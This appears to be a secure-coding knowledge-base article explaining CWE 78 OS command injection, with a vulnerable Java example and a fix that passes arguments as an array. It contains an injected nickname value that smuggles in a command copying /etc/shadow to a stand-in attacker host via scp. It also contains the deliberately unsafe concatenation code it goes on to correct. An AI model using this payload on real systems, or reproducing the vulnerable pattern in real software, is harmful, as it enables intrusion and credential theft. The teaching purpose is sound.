APPLICATION SECURITY
Knowledge Base
Search Our Knowledge Base
CWE 78: OS Command Injection
Flaw
CWE 78: OS Command Injection flaws occur if your application executes a native command when the name of, path of, or arguments to the command contain untrusted data (such as input from a web form, cookie, database, etc.).
For example:
String accountNumberQuery = "SELECT accountNumber FROM accounts\
WHERE account_owner_id = ?";
try {
PreparedStatement statement = connection.prepareStatement(accountNumberQuery);
statement.setInt(1, currentAccountOwnerId);
ResultSet rs = statement.executeQuery();
int accountNumber = rs.getInt("accountNumber");
String nickname = request.getParameter("nickname"); //user-supplied nickname
while (rs.next()) {
String makePDFCommand = "/opt/account_tools/bin/make_account_pdf " +
accountNumber + " \"" + nickname + "\"";
Runtime.getRuntime().exec(makePDFCommand);
this.addLinkToStatementPDF(accountNumber, nickname);
}
}
catch (SQLException e) { ... }
catch (IOException e) { ... }
This example code looks up an account number for the user, then calls an external program (make_account_pdf
) that generates a PDF statement for that account number and a nickname provided by the user.
The command that is executed is built as the String makePDFCommand
. Under normal operation, if a user provides "Joint Checking" as the nickname, it might return account number 907068073, and would result in makePDFCommand
being:
/opt/account_tools/bin/make_account_pdf 907068073 "Joint Checking"
And it works as expected. But imagine a malicious user supplied the following nickname:
Joint"; scp /etc/shadow hacker@mysite.tld: ; echo "
That would result in makePDFCommand
being:
/opt/account_tools/bin/make_account_pdf 907068073 "Joint"; scp /etc/shadow hacker@mysite.tld: ; echo ""
This command would execute as normal, creating a statement with the nickname "Joint"; but then it would also copy the /etc/shadow
file (the file containing the hashed passwords of the machine's local users) to the attacker's machine.
By changing the nickname, an attacker can execute any command, allowing them to cause damage, deploy malicious software, or steal sensitive data.
Fix
To repair OS Command Injection flaws, you must ensure that any untrusted data is properly handled. You can do this by simply passing the command and arguments as an Array to exec
(etc.):
String nickname = request.getParameter("nickname"); //user-supplied nickname
while (rs.next()) {
- String makePDFCommand = "/opt/account_tools/bin/make_account_pdf " +
- accountNumber + " \"" + nickname + "\"";
+ String[] makePDFCommand = {
+ "/opt/account_tools/bin/make_account_pdf ",
+ accountNumber,
+ nickname
+ };
Runtime.getRuntime().exec(makePDFCommand);
view fixed code only This ensures that nickname
is treated as a single argument, which prevents the OS from seeing the "
and ;
chars as having special meaning.